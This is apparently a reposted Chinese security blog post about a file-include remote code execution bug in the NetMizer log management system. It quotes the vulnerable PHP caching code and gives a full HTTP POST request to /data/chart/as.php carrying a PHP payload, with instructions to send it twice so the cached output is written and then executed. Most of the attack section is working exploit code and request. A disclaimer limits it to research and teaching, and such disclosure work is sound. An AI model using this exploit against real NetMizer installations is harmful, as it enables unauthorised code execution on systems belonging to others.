这是去年其中一个项目遇见的了,挺简单的。
这套系统挺多洞的,发一个include导致的rce吧。
直接回归主题
文件var/www/html/log/server/data/cache/common_cache.php
$_time =
1800
;
//缓存的有效时间的,单位是秒
$dir=
"../cache/cache_file"
;
//缓存文件的目录,必需是已经存在的目录
$strs = explode(
"_dc="
, $_SERVER[
'REQUEST_URI'
]);
if
(
isset
($strs[
1
]) && strlen($strs[
1
]) >
14
) $str1 = substr($strs[
1
],
14
);
else
$str1 =
""
;
$url = $strs[
0
].$str1;
if
(count($_POST)){
foreach
($_POST
as
$k => $v){
$url .=
"&"
.$k.
"="
.$v;
}
}
function
cache_start
($_time, $dir)
//缓存开始的处理
{
global
$url;
//$cachefile = $dir.'/'.sha1($_SERVER['REQUEST_URI']).'.html';
$cachefile = $dir.
'/'
.sha1($url).
'.html'
;
$cachetime = $_time;
ob_start();
if
(file_exists($cachefile) && (time( )-$cachetime < filemtime($cachefile)))
{
include
($cachefile);
ob_end_flush();
exit
;
}
}
function
cache_end
($dir)
//缓存结束的处理
{
global
$url;
$cachefile = $dir.
'/'
.sha1($url).
'.html'
;
$fp = fopen($cachefile,
'w'
);
fwrite($fp, ob_get_contents());
fclose($fp);
ob_end_flush();
}
函数cache_start,如果文件存在就会include文件
文件var/www/html/log/server/datachartas.php
调用了cache_start、cache_end函数
所以第一步访问,产生缓存
第二步访问,include
POST
/data/chart/as.php
HTTP/1.1
Host
: xxx
User-Agent
: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
X-Requested-With
: XMLHttpRequest
Accept
: */*
Origin
: http://xxx
Referer
: http://xxx/main.html
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
Connection
: close
Content-Type
: application/x-www-form-urlencoded
Content-Length
: 48
action=getlogin&step=123123
var_dump(
11
);
再次发包
原文始发于微信公众号(安全学习与分享):NetMizer日志管理系统
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论